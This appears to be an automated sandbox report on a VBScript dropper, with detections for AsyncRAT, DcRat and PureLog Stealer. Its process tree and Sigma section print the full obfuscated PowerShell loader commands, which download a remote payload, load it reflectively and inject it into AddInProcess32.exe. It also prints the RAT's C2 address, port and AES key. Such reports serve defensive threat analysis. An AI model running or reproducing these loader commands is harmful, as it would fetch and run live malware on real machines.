Edit tour

Windows Analysis Report
vr65co3Boo.vbs

Overview

General Information

Sample name:	vr65co3Boo.vbs renamed because original name is a hash value
Original sample name:	21d27f29540147603af9a74b194f553342254ee4daea07359e6bd1246442d4f8.vbs
Analysis ID:	1523827
MD5:	4b7be0dcd6bdb340088d2dd657442b0b
SHA1:	960cac0a7a81530161aee49444fbb380d0f89fb3
SHA256:	21d27f29540147603af9a74b194f553342254ee4daea07359e6bd1246442d4f8
Tags:	BlindEaglevbsuser-JAMESWT_MHT
Infos:

Detection

AsyncRAT, DcRat, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected AsyncRAT

Yara detected DcRat

Yara detected PureLog Stealer

.NET source code references suspicious native API functions

AI detected suspicious sample

Bypasses PowerShell execution policy

Connects to a pastebin service (likely for C&C)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Obfuscated command line found

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3160 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\vr65co3Boo.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 1960 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2360 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )" MD5: 04029E121A0CFA5991749937DD22A1D9)

AddInProcess32.exe (PID: 4308 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: AsyncRAT

{"Server": "148.113.165.11", "Ports": "3236", "Version": "1.0.7", "Autorun": "false", "Install_Folder": "%AppData%", "AES_key": "V4JA2wRo4wMqThNx0lUpEh05ezE9saTH", "Mutex": "Dggx_gg", "Certificate": "MIICJjCCAY+gAwIBAgIVAKTSE5n95JKjYKaeetJmkZ8WSed/MA0GCSqGSIb3DQEBDQUAMFoxCzAJBgNVBAMMAmdnMRMwEQYDVQQLDApxd3FkYW5jaHVuMRwwGgYDVQQKDBNEY1JhdCBCeSBxd3FkYW5jaHVuMQswCQYDVQQHDAJTSDELMAkGA1UEBhMCQ04wHhcNMjMxMjAzMTAyNjE5WhcNMzQwOTExMTAyNjE5WjAQMQ4wDAYDVQQDDAVEY1JhdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAphKhL5VEa5bZce3HMNoHj07+Nyd8QMtT+YV1vVQeIuxBYfOBrszAxxSRJayhzQwZjw8Du9bw87agBJW06h+GHW8MOufcZ+vKSxmpOL0ze3nUSJiOsfboKa06jcmEpo32D7LTxng9/mAGKb0YGEFUGx88yMDaa+NiBIn/LnWXvaECAwEAAaMyMDAwHQYDVR0OBBYEFMn0HT3AJLPhSr+HTYNM/0589fJ0MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADgYEASB+of3f3t+mAacV7FNg5vwlQhgObMv2su+9BL5KxsQVNsBhluNcrZINzF5jKq/8VafO48B00S1O2MnNHmBXQlZ09Iw8Krvm1hZDmBErHPe0Bwwa5ox6ZpJLnodcOGX2JXMfEY2n/6QC0zva9sGQiyazHOYJRTk5RgJhN7j10nZY=", "ServerSignature": "XjeYWme80rSVhHa/BEFI1k3bRgPGhkJfVbkFLvepbqtufl6cOLxu+woVZZM7psVFdchemmHXVOOta4B/iTyJBzInHTih/neulrIRbgq5zdS22cEhHESwIui1ZS3o5BnYGcZRdZTdXfGH6otoicbOBzdpc41nx3BIOXuL5tRHqjI=", "BDOS": "null", "External_config_on_Pastebin": "false"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x2d759b:$b2: DcRat By qwqdanchun1

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.3331586061.0000000004D50000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x5d16:$b2: DcRat By qwqdanchun1
00000005.00000002.3319533958.0000000000A8E000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x84a2:$b2: DcRat By qwqdanchun1
00000005.00000002.3319533958.00000000009E7000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x1ee92:$b2: DcRat By qwqdanchun1
00000004.00000002.2142512809.00000156EB570000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x63fb:$a1: havecamera 0x9874:$a2: timeout 3 > NUL 0x9894:$a3: START "" " 0x971f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x97d4:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x1c81b:$a1: havecamera 0x2aed3:$a1: havecamera 0x1fc94:$a2: timeout 3 > NUL 0x2e34c:$a2: timeout 3 > NUL 0x1fcb4:$a3: START "" " 0x2e36c:$a3: START "" " 0x1fb3f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x2e1f7:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x1fbf4:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x2e2ac:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000005.00000002.3322084627.0000000002811000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
00000005.00000002.3322084627.0000000002811000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x3a10:$b1: DcRatByqwqdanchun 0x2ae26:$b2: DcRat By qwqdanchun1
00000004.00000002.2122604087.00000156E3597000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: powershell.exe PID: 1960	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x6f8:$b3: ::UTF8.GetString( 0xe08:$b3: ::UTF8.GetString( 0x33da:$b3: ::UTF8.GetString( 0x395c:$b3: ::UTF8.GetString( 0x4346:$b3: ::UTF8.GetString( 0x6837:$b3: ::UTF8.GetString( 0x3726b:$b3: ::UTF8.GetString( 0x3ab80:$b3: ::UTF8.GetString( 0x7c5ae:$b3: ::UTF8.GetString( 0x7dfc5:$b3: ::UTF8.GetString( 0x7e072:$b3: ::UTF8.GetString( 0x7e5ca:$b3: ::UTF8.GetString( 0x8f799:$b3: ::UTF8.GetString( 0xb52a3:$b3: ::UTF8.GetString( 0xb5825:$b3: ::UTF8.GetString( 0xece9e:$b3: ::UTF8.GetString( 0xed427:$b3: ::UTF8.GetString( 0xee366:$b3: ::UTF8.GetString( 0xeea3d:$b3: ::UTF8.GetString( 0xef4b5:$b3: ::UTF8.GetString( 0xefbd7:$b3: ::UTF8.GetString(
Process Memory Space: powershell.exe PID: 2360	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: powershell.exe PID: 2360	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x77d604:$a1: havecamera 0x7821ac:$b1: DcRatByqwqdanchun
Process Memory Space: powershell.exe PID: 2360	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x7a30f0:$b2: ::FromBase64String( 0x7a46ec:$b2: ::FromBase64String( 0x9fe47:$s1: -join 0xa2025:$s1: -join 0xa2060:$s1: -join 0xa2167:$s1: -join 0xa2195:$s1: -join 0xa2519:$s1: -join 0xa253c:$s1: -join 0xa2910:$s1: -join 0xa2931:$s1: -join 0xa2963:$s1: -join 0xa29ab:$s1: -join 0xa29d8:$s1: -join 0xa29ff:$s1: -join 0xa2a30:$s1: -join 0xa2a52:$s1: -join 0xa2b1f:$s1: -join 0xa2ff8:$s1: -join 0xa301a:$s1: -join 0xa3072:$s1: -join
Process Memory Space: AddInProcess32.exe PID: 4308	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: AddInProcess32.exe PID: 4308	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
Process Memory Space: AddInProcess32.exe PID: 4308	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x3e4cb:$a1: havecamera 0x309be:$b1: DcRatByqwqdanchun 0x43073:$b1: DcRatByqwqdanchun 0x1a63d:$b2: DcRat By qwqdanchun1 0x1e160:$b2: DcRat By qwqdanchun1 0x26115:$b2: DcRat By qwqdanchun1 0x3b8b4:$b2: DcRat By qwqdanchun1
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.2.AddInProcess32.exe.400000.0.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x65fb:$a1: havecamera 0x9a74:$a2: timeout 3 > NUL 0x9a94:$a3: START "" " 0x991f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x99d4:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.AddInProcess32.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x99d4:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x991f:$s2: L2Mgc2NodGFza3MgL2 0x989e:$s3: QW1zaVNjYW5CdWZmZXI 0x98ec:$s4: VmlydHVhbFByb3RlY3Q
5.2.AddInProcess32.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x9c56:$q1: Select * from Win32_CacheMemory 0x9c96:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x9ce4:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x9d32:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.AddInProcess32.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xa0ce:$s1: DcRatBy
4.2.powershell.exe.156d35ba220.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
4.2.powershell.exe.156d35ba220.0.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x47fb:$a1: havecamera 0x7c74:$a2: timeout 3 > NUL 0x7c94:$a3: START "" " 0x7b1f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x7bd4:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
4.2.powershell.exe.156d35ba220.0.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x7bd4:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x7b1f:$s2: L2Mgc2NodGFza3MgL2 0x7a9e:$s3: QW1zaVNjYW5CdWZmZXI 0x7aec:$s4: VmlydHVhbFByb3RlY3Q
4.2.powershell.exe.156d35ba220.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x7e56:$q1: Select * from Win32_CacheMemory 0x7e96:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x7ee4:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x7f32:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.powershell.exe.156d35ba220.0.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0x82ce:$s1: DcRatBy
4.2.powershell.exe.156d35ba220.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
4.2.powershell.exe.156d35ba220.0.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x65fb:$a1: havecamera 0x14cb3:$a1: havecamera 0x9a74:$a2: timeout 3 > NUL 0x1812c:$a2: timeout 3 > NUL 0x9a94:$a3: START "" " 0x1814c:$a3: START "" " 0x991f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x17fd7:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x99d4:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x1808c:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
4.2.powershell.exe.156d35ba220.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x99d4:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x1808c:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x991f:$s2: L2Mgc2NodGFza3MgL2 0x17fd7:$s2: L2Mgc2NodGFza3MgL2 0x989e:$s3: QW1zaVNjYW5CdWZmZXI 0x17f56:$s3: QW1zaVNjYW5CdWZmZXI 0x98ec:$s4: VmlydHVhbFByb3RlY3Q 0x17fa4:$s4: VmlydHVhbFByb3RlY3Q
4.2.powershell.exe.156d35ba220.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x9c56:$q1: Select * from Win32_CacheMemory 0x1830e:$q1: Select * from Win32_CacheMemory 0x9c96:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x1834e:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x9ce4:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x1839c:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x9d32:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x183ea:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.powershell.exe.156d35ba220.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xa0ce:$s1: DcRatBy 0x18786:$s1: DcRatBy
4.2.powershell.exe.156e3dabd30.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.powershell.exe.156eb570000.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.powershell.exe.156e3dabd30.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.powershell.exe.156eb570000.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 14 entries

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProc

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

